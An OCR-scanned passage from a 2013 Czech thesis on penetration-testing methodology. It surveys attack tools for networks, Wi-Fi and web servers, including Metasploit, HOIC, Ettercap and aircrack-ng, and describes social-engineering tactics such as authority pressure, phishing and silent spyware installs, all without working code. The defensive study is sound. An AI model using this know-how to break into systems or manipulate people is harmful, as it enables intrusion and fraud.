sluzeb serveru.

Ocekavany vysledek: ziskéni podrobnych informaci o moznostech priniku do sys-

tému a bézicich sluzbach systému.

* Pytbull — nastroj slouzici k detekci hrozeb a ochrané systému (IDS/IPS). Tento
uceleny nastroj se sklada z vice jak 300 testl rozdélenych do deviti skupin. Zakladni

modely testovani:
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komunikace — oteviit komunikaci na daném portu a zaslat ,payloads” na

vzdaleny cil,

= prikaz — poslat piikaz na vzdaleny cil subprocess.call (),

= scapy — poslat specidln¢ vytvotreny ,,payloads* zalozeny na syntaxi ,,Scapy*,

= vice netspesSnych ptihlaSeni — napt. oteviit komunikaci na portu 21/tcp (FTP)
a pokusit se ptihlasit péti Spatnymi pokusy,

= {toky na strané klienta — pouzit reverzniho ptikazu tak, aby se ptikazy posilaly

na zpracovani k severu (obvykle wget ptikazy),

= pcap prehrani — umoziuje zobrazit provoz na zaklad¢ ,,pcap® souboru.

« OpenVas (nessus) *”

— jednd se o aplikaci na principu klient-server. Nessus i
OpenVas funguji na bazi plaginu, kde Nesus je dnes jiz placenou sluZzbou. Jedna se o
nastroj pro skenovani moznych zranitelnosti, které umozni uto¢nikovi kontrolu nebo
pfistup k datim nebo aplikacim (exploit, rootkits). Dale umi detekovat CGI
zranitelnosti a backdoory, analyzovat vzdaleny pfistup k souborim, nadbytecné
sitové sluzby a Denial of Service utoky (DoS), otestovat sluzbu finger a root shell
nebo provést penetracni test firewallu, FTP, SMTP sluzeb, popt. oskenovat porty
jednim z péti scannert.

» metasploit Framework — je navrzen pro testovani bezpe€nosti systémi a vyuziva
databaze jejich vetejné znamych chyb. Opét jde o ,,open source* projekt, na kterém
se podili velké mnozstvi ptispévovatelll z fad bezpecnostnich odbornikii. Aplikace
umoziuje vypoustet ,,exploity*, které jsou umistény ve Framework-programu. Tento
nastroj je vhodny pro opakované pouziti nalezené chyby systému tak, aby bylo
mozné zajistit co nejvySsi moznou bezpecnost prvki sité. Je mozné ho ovladat z
nckolika prostredi, jimiz jsou piikazovy tadek (mfscli) nebo grafické rozhrani
(mfsgui). Skupina Rapid7 tidi vyvoj dané aplikace a umoznuje také zakoupit Pro-
verzi, kterd poskytuje rozsifenou databazi ,,exploitu plus reporting.

earmitage — je ,open source” projekt pro vizualizaci Utoku pomoci nastroji
Metasploit, doporuc¢enych exploiti a dalSich nadstavbovych prvkl framworku.
Nastroj podporuje ovladani botu a praci v tymu jako je sdileni souboru a obrazovky.
Radi se do skupiny inteligentniho softwaru, ktery disponuje tzv. ,naseptavanim®.
Tato funkce umozni napovédét, jaky by mél byt dalsi krok, respektive nastroj,
pfi¢emz vykonava urCité kroky automaticky, a tim padem je schopna doporudit

nejlepsi cestu ttoku.
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encrack — je vysokorychlostni sitovy autentizacni nastroj pro ,krekovani“. Byl
navrzen a sestaven tak, aby spole¢nostem pomadhal zabezpecit jejich sité. Nastroj
aktivné testuje vSechny pocitace a sitova zafizeni, pomahd zjistit pouziti
jednoduchych hesel, a proto je Casto pfi penetracnim testovani vyuzivan. Ncrack
pouziva modularni pfistup. Syntaxe ptikazového fadku je podobna jako u Nmapu
a dynamické jadro programu umoznuje prizpisobit své chovani na zékladé zpétné
vazby sité. To pfinasi rychlé a piesto spolehlivé testovani vice pocitaci.
Ncrack nabizi velmi flexibilni rozhrani umoznujici plnou kontrolu nad provadénou
operaci, sofistikované utoky hrubou silou, pouziti Sablon véetn¢ ¢asovani, ,,runtime*
interakce podobné Nmapu a mnoho dalsich. Podporované protokoly jsou RDP, SSH,
HTTP (S), SMB, POP3 (s), VNC, FTP a Telnet.

Vyhody: presné nalezeni slabin systémt.

Nevyhody: ¢asova naro¢nost, velka komplexnost nastroja.

Predpoklad znalosti: vy$si stupeil znalosti problematiky pronikani do systému.
Ocekavany vysledek: ptesny stav bezpecnosti systému z pohledu rozhrani WAN do
LAN.

4.2 Interni penetracni testy

Lze fici, Ze penetracni testy internich siti vyuZivaji velmi podobné metody jako externi
testovani. V mnohych ptipadech se vyuZziva stejnych nastroji, ale s jinym profilem metody
skenovani a Utoku. Typickou hrozbou pro firmy miiZze byt nespokojeny zaméstnanec s cilem

poskodit nebo odcizit firemni data.

Z vlastnich zkuSenosti mizu fict, Ze kdyZ se fekne hrozba nebo utok na ICT, vSem se
vybavi jen utok z pohledu externi sité. Malokdo se zabyva mysSlenkou utoku z vnitini
sit¢ a naslednych dopadd tohoto pisobeni. Vychazim z ptedpokladu, ze vétSinu firem
Ceské republiky tvoii jen male nebo stiedné velké firmy s primémym poétem do dvaceti

zameéstnanct (tzv. rodinné firmy).
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ORGANIZACNI STRUKTURA NH

k3112 2008 2009 2010 2011
v tom podle velikost
subjeki:
& pofiem zaméstnancl

0, v&. bez udani

poftu 2264051 | 2288 148 | 2359471 | 2422172
1-5 1820839 180588 1BB0DE0] 191731
6-18 60 059 50378 5T 328 55 957
20-240 32 o0 31434 30 529 30 358
250+ 2210 2063 2163 2224

Tabulka 2. Organizacni struktura NH (dle velikosti subjektt)

Postup pro interni testovani klade vétsi naroky na ¢as a provedeni testu. Prikladem

provedeni mize byt uvedeni bezpe¢nostniho konzultanta jako fadového zaméstnance, aby

nevzbudil pozornost mezi ostatnimi zaméstnanci. Postupll je cela fada, osobné se mi

osvédcila prace po pracovni dobé nebo nasazeni testovaciho PC do infrastruktury sité

vcetné vzdaleného pfistupu tieba pies mobilni ptipojeni. Dalsi velkou vyhodou je moznost

kontaktu s osobami na pracovisti, coZ umoziiuje pouziti ndstroji socidlniho inzenyrstvi.

Model

» Sbér dat

aktivni prvky — typ pouZitych zafizeni,

velikost pasma sité — stanoveni kapacity site,

zOnové nastaveni sité — jestli néjaké existuje, jak je nastaveno,

moznosti pfipojeni do Internetu — dal§i moznosti pfipojeni proxy, VPN,
zjisténi hladiny prav uzivatelti — kam az se osoba se zékladnimi pravy dostane,
moznosti Utoku — stanoveni strategie a pouzitelnych nastroju,

aktivni pouziti dostupnych skenerti.

» Skenovani a exploitace

pouziti techniky ,,Man In The Middle®,

utok hrubou silou na aktivni prvky sité,

pokus o zahlceni sité — dulezité konzultovat se zadavatelem testu,

zabezpeceni pracovnich stanic — zamknuty bios, kontrola antivirového programu

a politiky prav.
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Mozné pouZiti nastroji

» Wireshark — ,,open source® aplikace umoziujici protokolovou analyzu a paketové
odposlouchéavani. Nejcastéji se pouziva pii diagnostice problému na siti. Vhodny pro
zachytavani paketu (odposlouchavani) tedy pii pouziti techniky ,,Man In The
Middle*. Grafické uzivatelské rozhrani umoziuje aplikaci ptehledné sledovat a ovla-
dat, pticemz lze kontrolovat veskery provoz sité¢. K odposlechu dochdzi ve chvili,
kdy je sitova karta pfepnuta do tzv. promiskuitniho modu a lze zachytavat sité
Ethernet, IEEE 802.11, PPP nebo Loopback. Wireshark obsahuje velké mnozstvi
analyzért, komunikacnich protokolu a formati.

* Microsoft baseline security analyzer — je aplikace kontrolujici zabezpeceni platformy
Windows. MozZnost pouziti je pomoci piikazového fadku nebo grafického prostiedi.
Kontrola je provadéna jak na samotném systému, tak i na aplikaci jako jsou napt. MS
SQL Server nebo IIS (v¢etné podpory 64-bitove verze). Po dokonceni testu lze
zobrazit report a je mozné jej ulozit ve formatu XML. Produkt je zdarma ke stazeni
na strankach Microsoft.

* Hiren's BootCD/USB — program umozujici ,,nabootovani“ z CD ¢i USB. Obsahuje
celou fadu diagnostickych aplikaci, nastroji pro obnovu dat a opravu MBR. Z poh-
ledu bezpecnosti toto CD nabizi moZnost Gpravy registru, mazani, prenastaveni hesla
a lokéalniho uctu uZivatele, zobrazeni a kopirovani jakychkoliv dat na HDD -
jednoduse feceno pievzit administratorska prava a provést jakékoliv Upravy vcetné
instalace. Pro uzivatele, ktefi neovladaji ptikazovy tadek, lze do operacni paméti
,habootovat* upraveny Windows XP.

* HOIC (High Orbit lon Cannon) — vychazi s aplikace LOIC (Low Orbit Ion Cannon)
navrzené pro Utok typu DOS nebo DDoS. VétSina novych firewalld se proti LOIC
umi U¢inn€ branit, proto skupina Anonynous navrhla novou verzi HOIC. Co
umoziuje:

= {tok na 256 cila najednou,

= rychly viceprocesni ,,HTTP flood*,

* moznost vkladani skriptd,

= mutiplatformni pouZiti,

* moZznost vybéru intenzity utoku,

= upravu zdrojovych koédi (aplikace je naprogramovana ve Visual Basic),

= ]ehké ovladani aplikace.
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» EasyCreds — je ,,bash® skript vyuZzivajici ,,Ettercap” a dal$i nastroje pro ziskani
ptihlaSovacich tidaju pfi penetra¢nim testovani. Ethercap je komplexni sada néstroji
pro utok MITM umozijici filtrovani obsahu v realném case. Podporuje aktivni
a pasivni rozebrani mnoha protokol nebo obsahuje mnoho funkci pro analyzu sité
véetné hostitele. Pomoci nastroje EasyCreds 1ze provést utok typu ,,ARP spoofing*,
jednosmérny ,,ARP spoofing*, ,,DHCP spoofing* nebo zalozeni falesného AP. Dalsi
velkou vyhodou je, Ze dovede rozebrat SSL log pfichazejici s citlivymi udaji o ptihla-
Sovani ze zadané stranky.

e LanGuard GFI — jedna se o komercni nastroj pro diagnostiku IT bezpecnosti.
Aplikace je navrzena ke skenovani sité tak, aby bylo mozné odhalit potencilni
hrozby. UmozZiuje:

= kontrolu nainstalovanych aktualizaci (patch management),
= 45 tisic testll na pfitomnost zranitelnych mist v siti,

= SW a HW audit.

Vyhody: mnohdy staci jen poslouchat nebo pouzit nastroje pro externi testovani.
Nevyhody: testovani mize zpusobit vypadky sité a chodu firmy.

Predpoklad znalosti: zéklady fungovani procesu uvnité firmy, ovladani techniky
odposlouchévani.

Ocekavany vysledek: ziskani ptistupu k firemnim datim a nedostupnost prostredki

k vykonavani béznych pracovnich ¢innosti.

4.3 Penetracni testy bezdratovych siti

Penetracni testy bezdratovych siti 1ze dnes oznacit za kritickou oblast celého testovani.
Pokud se podivame na posledni statistiky zabezpe€eni bezdratovych siti, dojdeme k Soku-
jicimu zjisténi. Az tietina vSech pouzitych accespoiti ma zabezpeceni bud'to velmi slabé
(prolomitelné do péti minut) nebo vibec zddné. Svou sit’ nechdvaji nezabezpecenou nejen
bézni uzivatelé, ale i firmy. Toto nezodpovédné chovani vysvétluji tim, ze pokud je jejich

sit’ zabezpecend néjakym klicem, komplikuje to pfipojeni nékterych hostt.

Dalsi z mnoha chyb v feSeni této problematiky nastava tehdy, pokud ma administrator AP
korektné nastaveno a dojde k vypadku internetu. Uzivatel, ktery ma AP nadohled, vezme
situaci do svych rukou a AP vypne/zapne, pfipadné zméackne ,n&jaké tlacitko®. Casto se

bohuzel stane, ze v takovém piipadé jde AP do vychoziho nastaveni, kde neni zabezpeceni
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z4dné a bezpecnostni problém je na svété. Moznosti ochrany jsou dnes pfitom velmi

dostupné, staci implementovat RADIUS server nebo architekturu Kontroler-AP.

Kromé& SW vybaveni je pro provadéni testli zapotiebi také podporované HW vybaveni
(podporovany HW: http://www.aircrack-ng.org/doku.php?id=compatible_cards). Testuje
se zabezpeceni jak ptistupovych bodu, tak koncovych stanic a predmétem zdjmu by méla
byt konfigurace obou zminénych. Pokud se v siti vyskytuje RADIUS server, m¢l by se také
stat predmétem zajmu.

Zabezpeceni siti Wi-Fi
(vzorek 27 000 siti v Brné a Praze)

BbezSifrovani B WEP B WPA-1 B WPA-2 & ostatni

Obrazek 12. Zabezpeceni siti Wi-Fi
Mozné pouZziti nastrojiu
e aircrack-ng — jedna se o nastroj umoznujici prolamovaci klicku pro WEP a WPA-
PSK. Ziskavani kli¢t funguje na principu odchytavani datovych paketd v moni-
torovacim moddu, ktery je nésledné schopen pakety analyzovat pomoci techniky
utoku FMS nebo PTW a ziskat tak pozadovany kli¢. Aircrack se skladd z mnoha
nastroji, napft.:
= airmon-ng — skript umoziujici piejit do monitorovaciho modu,
= airdump-ng — umoziuje zachytavani paketu raw 802.11 a shromazd’ovani ,,IVs*

pro dalsi spolupraci s aircrack-ng,
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= airplay-ng — primarnim cilem je vytvafet provoz na siti a dale podilet se na
mnoha druzich tokt jako naptiklad faleSna autentifikace, fragmentovany utok,
interaktivni a urychlena paketova odpoveéd’ atd.,

= airbase-ng — umoziuje Sifrovani a deSifrovani pfichozich a odchozich paketd,
chovat se jako plnohodnotné nebo ,,ad-hoc* AP, utoky ,,Caffe Latte WEP nebo
., Hirte* atd.

* Gerix WIFI Cracker — grafické rozhrani pro aircrack umoznujici Siroké spektrum
utokil véetné ukladani hesel. Ptiklad pouziti:

= krekovani WEP (,,chop-chop®, ,,fragmentation®),

= krekovani WPA (zalozeno na slovniku hesel),

= Utok zaloZeny na klientské ¢asti,

= vytvofeni faleSné¢ho AP.
* FreeRADIUS-WPE — nadstavba na FreeRADIUS, kterym lze prokazat bezpecnost

RADIUS-serveru. RADIUS je sluzba bézici na pozadi opera¢niho systému a posky-
tujici klientskou autentifikaci. Hlavni vyhodou této nadstavby je usnadnéni nastaveni
a pfidani logovani pro vicendsobné ovéfovani, a to umoziuje vytvofit utok na

RADIUS-server.

o5 %
g
E 22, Secured Hotspot &

N

Authentication

444 s
Username = guest (4~ Encrypted link — — — — — -
Password = guest

Obrazek 13. Princip fungovani RADIUS serveru

Vyhody: bezpe€nostni konzultant nemusi byt fyziky pfitomen v testovaném objektu.

Nevyhody: ¢asova naro¢nost, zejména pii prolamovani hrubou silou, nutnost wi-fi

karty s podporovanym Cipem.



UTB ve Zliné, Fakulta aplikované informatiky, 2013 82

Predpoklad znalosti: znalost problematiky bezdratovych siti.

Ocekavany vysledek: ziskani ptistupu do systému skrz bezdratové sit¢.

4.4 Penetracni testy webovych aplikaci

Pro ICT security neni na prvnim misté¢ zajisténi co nejvyssi hladiny bezpecnosti, ale
zjistovani, zda chranéné systémy skutecné zabezpecené jsou. Dvojnasob to plati u webo-

vych aplikaci, které jsou ze své podstaty tto¢nikiim doslova otevieny.

Na kazdy utok by dnes méla existovat n&jaka odpovéd’ v podobé kvalitni obrany. Utoénik
ma ale jednu velkou vyhodu — je vzdy o krok napfed. Napadat mtize kdykoliv, kdekoliv
a jakkoliv. Proto konstatovani, ze riziko je piece spojeno s vili ho fesit, nemusi byt v real-

ném svéte tak jednoduché.

Onu odpoveéd v podobé kvalitni obrany mohou piedstavovat penetracni testy, které pracuji
na bazi kontrolovaného napadeni systému a zjistovani slabych mist. Jejich cilem je
samoziejmé zjistit, do jaké miry je informacni systém odolny vaci (typicky vnéjsimu)

utoku.
Utoky proti webovym aplikacim

Webové aplikace jsou velmi zranitelné a to si utocnici velice dobfe uvédomuji. Vysoké

procento utokl se uskutecnuje pomoci skriptti umisténych na jinak korektni stranky.

Jednim z typickych, a zaroven nejrozsifenéjSich tutoku, je atak ,,.XSS“ (Cross-Sité
Securiting). XSS umoziiuje nejen vkladani Skodlivych kodd, ale i provadéni zmén vzhledu
1 obsahu webti, popf. jejich funkénosti. Mze dochazet i k ziskavani citlivych tidaji nebo

k obchazeni bezpe¢nostnich prvkd.

Dalsi oblibenou hackerskou technikou je ,,injektdz SQL*“ (SQL injection). Jde o vlozeni
kédu do SQL databdze, kdy tato operace zneuziva zranitelnosti v databazové nebo
aplikacni vrstvé. Pokud neni uzivatelsky datovy vstup do SQL dostate¢né filtrovan od
pritomnosti specidlnich znakd nebo neni spravné vlozen uzivatelsky vstup a je nasledné
vykonan, pak se chyba projevi. V piipad¢ uspésného zneuziti utoku SQL injektion vSak
ptesto nejde o bezpecnostni chybu v pravém slova smyslu, ale o zpiisob napsani kodu
aplikace. Potencidlné zranitelna je kazda stranka zpracovavajici SQL piikazy. Utoénik

navic viibec nemusi mit moznost cely SQL dotaz editovat, sta¢i ptepsat jen urcitou ¢ast.
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Webové servery by ale mély byt testovany i na odolnost vici utoktim typu odepteni sluzby
— Denial of Service (DoS) i Distributet Denial of Service (DDoS).
Mozné pouZiti ndstroju

» Acunetix — testovaci skener umoznujici skenovani webovych stranek za ucelem
odhaleni jejich zranitelnosti. Pomuze odhalit utoky typu XSS a ,,SQL injection®.

* WwebHTTrack — nastroj umoziujici kompletni kopirovani webovych stranek do
lokalniho PC. Tento nastroj miize uto¢nikovi pomoci pochopit, jak je stranka
postavena a jaké adresarové struktury pouziva.

« Websploit *® — je ,open source projekt pro skenovani a analyzu vzdaleného
systému, ktery nabizi:

L»Autopwn* — pouziva metasploit pro skenovani a exploitaci cile,

= wmap“ — pasové skenovani pomoci plaginu ,,wmap* z metasploit,

= _phpmyadmin® — vyhledavani phpmyadmin na hostitelském PC,

= _Ifi* — skenovani, pfemosténi lokalnich soubord pomoci ,,WAF*,

= _apache users — hleddni uZzivateld serveru v adresafi, pokud je pouzit web
server apache,

= Dir Brute* — tok hrubou silou pomoci slovniku,

= admin finder* — hledani administratorské piihlaSovaci stranky,

=  MITM* atok — tok typu ,,Man In The Middle*,

= vytvofeni USB s trojskym koném ,backdoor* — pro mozné identifikovani
Windows.

* nikto2 — je ,,open source* aplikace pro testovani webovych serveri. Umoziuje
komplexni testy vcetné 6500 potencidlnich zranitelnosti (CGI), kontrolu zastaralosti
az 1250 typt serverti a 270 verzi serveru se specifickym problémem. Kontroluje také
konfiguraci serveru, napf. vicenasobnou indexaci, moznosti HTTP a identifikaci
nainstalovaného webového serveru. Podporuje ukladani do logu a ,,LibWhisker's*

pro testovani IDS.

Vyhody: mnoho pouzitelnych nastroja.
Nevyhody: servery nemuseji byt umistény v objektu firmy.

Predpokiad znalosti: fungovani databazovych systémi a zdklady programovani

vyhodou.

Ocekavany vysledek: prinik do webového nebo databazového serveru.



UTB ve Zliné, Fakulta aplikované informatiky, 2013 84

4.5 Testy fyzické bezpecnosti

Propojeni fyzické a IT bezpecnosti spociva ve vyuziti prostfedkil, jez podporuji feseni
kontroly a fizeni fyzické bezpecnosti. Piikladem muze byt systém, ktery kompletné hlida,
fidi a monitoruje vSe v budové — muze ovladat topeni, klimatizaci ¢i sklapéni zaluzii. Jiny
typ systému zase muze podporovat vydavani elektronickych karet, pomoci kterych ovlada

zamky do mistnosti.

Na bezpecnost je ale mozné pohlizet i komplexné, s cilem zajistit, aby vSechny jeji aspekty
byly piiblizné¢ na stejné trovni. V hledacku by mélo byt nejen oSetfeni hesel ¢i elektro-

nickych karet, ale také bezpecnost fyzicka a personalni.

Oblasti zajmu

Problémové oblasti fyzické bezpe¢nosti je mozné najit v normé CSN ISO/IEC 27001:2005,

jez se v podrobném pichledu vénuje:

* fyzické bezpecnosti sidla, budovy a mistnosti
= clektronické zabezpecCovaci a pozarni systémy,
= fyzické oddéleni zafizeni na zpracovani informaci od zafizeni vlastnénych
nékym jinym,
= kontrola vstupu do zabezpecenych oblasti,
= ochrana pfed vlivy pozard, povodni a vybuchl (pfirodnimi i zplGsobenymi
lidskou ¢innosti),
= fizeni v prostorach, kam se mohou dostat neoprdvnéné osoby nebo materiél
(napft. zasilky);
» zalezitostem tykajicim se zafizeni na zpracovani informaci (i jejich sprdvnému umisténi);
* dodavkam potiebnych sluzeb (plynu a elekttiny);
* silovym 1 telekomunika¢nim rozvodiim;
* udrzbé a bezpecnosti mimo organizaci (kdyz je zafizeni v opravé, nebo kdyz maji zamést-
nanci notebooky a pocitace doma);
* bezpec¢né likvidaci informaci ve vSech formach
= dokumentli nebo pamétovych médii,
= postupy popisujici odprodej nebo likvidaci zastaralych osobnich pocitaci,
= jejich presmérovani, tedy tvorba pfeddvacich protokolii, inventur a povoleni pro

odvoz ptes recepci €i vratnici.
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Primérenost ochrany

Pro kazdou konkrétni firmu ¢i organizaci by méla byt vybrana opatfeni ,,$itd na miru® —
dostatecn¢ piisnd, ale nikoli pfemrs§téna. Naplnéni jednotlivych okruhti zavisi zejména na

tom, co je potfeba chrénit.

Jind opatieni bude vyzadovat femeslnickd dilna s jednim PC nepfipojenym k internetu,
zcela odlisnd zase firma poskytujici Siroké mnozstvi sluzeb z oblasti informacénich
technologii. Zatimco prvni budou stacit bezpecnostni dvefe a zamiizovana okna, druha

bude muset pokryt vétSinu z vySe zminiovanych opatieni.
Analyza rizik

Analyza je vhodna pro firmy, jez v oblasti IT pouzivaji podstatné vice technologii a prvk,
nebot’ jejim prostiednictvim ziskd komplexni mnozinu opatfeni, ktera budou IT systém

chrénit. Existuji dvé moznosti takového rozboru:

1) Analyza provedena jednim ¢i vice zkuSenymi analytiky, ktefi zpracuji posudek na
zaklade svych znalosti a zkuSenosti v oblasti bezpecnosti IT. Budou postupovat bud’
podle né&jaké metodiky, popt. mohou pouzit katalog bezpecnostnich opatieni (napf.

NIST 800-53). 1

2) Analyza provedena subjektem, jez nasledné vybere 1 protiopatifeni pomoci
automatizované¢ho prostfedku. Od predchozi analyzy se neliSi v ¢asové naroCnosti,
protoze i zde se ziskavaji informace pomoci konkrétnich dotazi. Automatizované

prostfedky by tu mély byt pouzivany s rozmyslem a ur¢itym nadhledem.

Automatizovany prostiedek zajisti, Ze konecnd mnoZina opatfeni zjiSt€éna analyzou bude
kompletni a ze bude odpovidat tomu, co je potieba chranit. S vyslednou mnozinou opatieni

je nutné dale pracovat:

* posoudi se, zda se navrZena opatfeni analyzovaného systému vibec tykaji;

* n¢kterd doporucovand opatfeni jsou zjevna i bez analyzy (napf. Ze piistupna okna v pfi-
zemi je vhodné osadit miizemi);

* 0od pozadavkil na bezpecnost se pak prechazi k jejich konkrétnimu feSeni — pozadovana
opatfeni se rozdéli podle jejich ucinnosti a ceny;

* pokud jsou nékteré navrhy natolik drahé, Ze by nebylo v moznostech firmy je realizovat,

musi se akceptovat riziko netiplného pokryti.
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Soupis navrhli bezpecnostnich opatieni se pak predkladd vedeni firmy ¢i organizace.
Protoze jde nasledné o penize a Cas specialistl, ktefi se na jejich realizaci budou podilet,
neni vhodné predkladat jen pouhy ,,seznam feSeni““. Vhodnéjsi je piipravit jakysi ,,plan
realizace® — podrobny popis opatieni, ktera by méla byt realizovana, a kdo, kdy a za kolik

by je realizovat mél.

Po schvéleni mize byt plan realizace zahajen. Spole¢né s implementaci opatfeni by m¢lo
jako jeji integralni soucCast probihat i zpracovani a dokumentovani podptirnych procedur
véetné vydavani pfislusnych smérnic (pokud se napiiklad instaluje elektronicky
dochazkovy systém, musi byt vydana smérnice o tom, jak ho pouzivat a jak se chovat,

kdyz tfeba vypadne proud a vycerpa se i zalozni baterie).

Ani po splnéni vSech realizaci neni ale vSe hotovo. Je tfeba kontrolovat, zda vSechno
probiha podle danych sméric. Reseni bezpeénosti musi byt také fadné dokumentovano.
Do budoucna je na misté i ivaha, jestli celému feSeni bezpecnosti nedat komplexni a syste-
matickou formu s vyuzitim osvédCenych standardi. To znamena postupovat od analyzy
rizik, vybéru bezpecnostnich opatfeni pfes bezpecnostni projekty az k bezpecnostnimu
systému, ktery vznikne jeho zavedenim. Pokud uz bezpe¢nostni systém existuje, je zase na
misté otdzka jeho formalizace podle urcitych pravidel fizeni informacni bezpec¢nosti a inte-

grace do jiZ existujiciho systému fizeni bezpe€nosti nebo kvality.

Vyhody: prvni prohlidka systému a objektu vzdy pfinese pro bezpecnostniho konzultanta

ree

,,pozitivni‘‘ nalez.

Nevyhody: (feCeno s nadsazkou) Casto se zaSpinite od zaprasenych koutt, kde lezi ,,n¢jaka
krabicka®.

Predpoklad znalosti: orientace v problematice fyzické bezpecnosti, znalost prace s foto-
aparatem.

Ocekavany vysledek: zajisténi ptistupovych hesel do PC, fyzicky ptistup k PC, serverim

a dal$im Castem sité.
4.6 Socialni inZenyrstvi (sociotechnika)

,»ACkoli je treti tisicileti nazyvano informacnim vékem a stale Castéji mizeme slyset, ¢i se
dokonce sami presvédcit, ze uspésny bude ten, kdo bude ovladat schopnost ziskavat, hledat
a spravné vyhodnocovat informace, lidé si stile jest¢ neuvédomuji jejich hodnotu.

Malokoho napadne, Ze informace je také nutno odpovidajicim zptisobem sttezit.* 20)
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Sociotechnika (neboli socialni inzenyrstvi) by se dala charakterizovat jako ovliviiovani
a presvédCovani lidi s cilem oklamat je tak, aby uvéfili, Ze sociotechnik je osoba s totoz-

nosti, kterou piedstira a kterou si vytvofila pro potfeby manipulace.

Mezi crackery jde o techniky, pomoci kterych chtéji imysln€ oklamat obéti, jez jim na
zaklad¢ tohoto maji prozradit hesla ¢i jiné informace, které snizuji bezpecnost cilového
systému. Jde o uméni klamu, o zptisob manipulace s lidmi za ucelem provedeni néjaké
akce nebo ziskani urcité¢ informace. Jeho cilem je vytvoftit v ¢lovéku dojem, Ze situace je

jind, nez ve skutecnosti opravdu je.

Hlavni myslenka je nasledujici: Pro¢ se trapit s prolamovanim hesel, kdyz je jednodussi
né¢koho donutit, aby mi je fekl? Navic pfi dobfe vedeném utoku si obét’ v drtivé vétsSing
vibec neuvédomi, Ze néco nepovolané osobé vyzradila. Jak uZz to byva, nejjednodussi

metody byvaji nejspolehlivejsi. Kdyz je vyuzito socidlni inZenyrstvi, tak se vlastné viibec

nedozvite, ze vas v danou chvili nékdo okradl (o informace).

Prvnim krokem sociotechnikii je zpravidla ziskani piivodné zcela nevinné informace, ze

které si pak odvodi jinou vyznamnéjsi informaci. Organizace maji na svych strankach

Casto fadu dat, kterd mohou pfi vhodné kombinaci pomoci ziskat jiné citlivéjsi informace.

I kdyz ma spolecnost bezpecnostni politiku, ve které je zakotveno, co smi a nesmi byt na
firemnich strankach, nikdo nezjist'uje, co ma zaméstnanec na svych soukromych strankéch,
s ¢im vstupuje do diskusi na internetu apod. NejlepSimi zdroji pro sociotechnika jsou tak

dnes Facebook a Twitter. Nektefi lidé na sebe na socidlnich sitich prozradi téméf cokoliv.

Pokud sociotechnik chyst4 na néjakou organizaci ttok, zacne pravé studiem internetovych
stranek, odtud ziskd jména, internetové adresy, pfipadné telefony pracovnikl firmy,
nadfizenych atd. Pak miize pokracovat 1 na osobni stranky zaméstnancli, kde jsou opét

Casto zvefejnény zajimavé informace.

A navic — Clov€k pod tlakem reaguje vzdy jinak nez Clov€k ve stavu pohody. Proto
sociotechnici naléhaji na diileZitost daného tkonu nebo zdiraziluji ¢asovou tisen. Diky

vyvijenému tlaku pak obét’ nema ¢as zamyslet se nad dusledky svého konani.

Efektivni je naptiklad ovliviiovani vyuzitim autorit. Pokud bude uto¢nik na obét’ naléhat
S tvrzenim, Ze si to pieje $¢f a ze uz to davno mélo byt hotové, sekretatka obvykle ze

strachu udé€la, co se ji fekne. Zvlasté ve velké firmé plati, Ze ne kazdy zna kazdého. Kdyz
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zazvoni telefon, je potfeba rychle konat nebo sdélit informaci, aby se zabranilo nejhor§imu

(napf. ztraté vyznamného zékaznika, prémif).
Jinou metodou je strach z nebezpeci ztraty osobnich financi. Modelova situace: ,,Vas ucet
je ohrozen, pro vyssi bezpecnost si, prosim, zméite heslo...*

Dalo by se shrnout, Ze schopny sociotechnik vyuziva pro efektivni utok (pro zajiSténi

efektivniho utoku) zejména tzv. Sest zakladnich vlastnosti lidské povahy: 21)

« Autorita — lidé maji obecné tendenci podiidit se osobé s vétsi moci (vyssi funkce,
vedouci pozice ve firmé ¢i Skole apod.). Vydava-li se sociotechnik napiiklad za

asistenta feditele, jeho slova maji vzhledem k primérnému zaméstnanci vyssi vahu.

Sympatie — lidé velmi radi vyhovi pozadavkiim tém, ke kterym maji jiné sympatie. Ty
si lze ziskat rGznymi zplUsoby — napiiklad diky stejnym zajmim nebo nédzorim na

problém.

Vzéajemnost — je velmi pravdépodobné, ze obét’ bude se sociotechnikem spolupracovat,
pokud se bude citit byt utocnikovi za néco zavazana. Staci, ze sociotechnik pro obét
néco ud¢la — napiiklad néco nainstaluje, sezene film, opravi pocitatovy problém, a mimo-
dek obéti fekne, at’ si nainstaluje néjaky program, ktery se postard o bezpecnost jejiho
pocitace. Muze to byt bud’ spyware (trojsky kan, keyscan) nebo jednoduse program pro
piistup ke vzdalené ploSe uZivatele (Real VNC).

Dustojnost — soucasti lidského charakteru je tendence lidi podridit se, pokud piedtim
vetejn¢ vyhlasili svou podporu a angazovanost v urcité zalezitosti (napi. vefejny slib,

vetejna sazka).

Spolecensky souhlas — funguje tak, Ze sociotechnik oznami obéti, Ze potiebuje néco
vyplnit s tim, Ze vSichni ostatni to uz vyplnili. Kdyz to tedy udélali ostatni, pro¢ ne

obét’? Pak jiz zalezi na Gto¢nikovi, jaké otdzky obéti predloZzi.

Poukazani na zvlastni pfilezitost, akéni nabidku — kdo z nas by nebyl pod vlivem
reklamy, kdo by se nesetkal s akénimi nabidkami limitovanymi ¢asem ¢i poctem kust?
Sikovny sociotechnik muize naptiklad operovat s tim, Ze prvnich sto registrovanych
uzivatelll dostane néjaky darek. Registraci odkadze na uméle vytvotenou stranku, ktera
ziska od uzivatelli hesla, osobni tidaje apod. Kolik uZzivatelll internetu pfeci pouziva
univerzalni hesla ke svym e-mailovym uétim? Podobnym zpisobem probihd znamy
pishing spojeny se spamem (tedy snaha ptesvédcit uZivatele, aby se piihlasil ke svému

bankovnimu uctu prostfednictvim falesné internetové stranky).



UTB ve Zliné, Fakulta aplikované informatiky, 2013 89

Pokud bude uto¢nikovi na uspéchu akce velmi zalezet, bude ji ochoten vénovat i delsi
casové obdobi, jez pouzije na budovani duvéry. Ve chvili, kdy uz pro obét’ nebude
neznamy a tim padem nebude vystupovat jako nediivéryhodna osoba, mlze byt pro n¢j
jednoduché piinutit ji k instalaci ,,uzitecného programku®. Jenze spolu s nim vétSinou
dojde i k tiché instalaci (silent install) néjakého monitorovaciho programu — tzv. spyware.
Tento specialni software slouzi ke skrytému sledovani a odposlouchavani veskeré¢ho déni
na pocitaci (navstivené internetové stranky, sledovani elektronické posty, stisk klaves pii

zadavani hesel apod.). 22)

 Pfimy pfistup — uto¢nik ptimo pozada obét’ (napft. recepcni) o jeji uzivatelské jméno
a heslo. Zkuseni sociotechnici ale mohou provadét i toky ,,tvari v tvai“, pokud znaji
obét’ osobné. Mohou uhodnout jeji heslo na zéklad€¢ informaci, které o ni maji. Zkusi
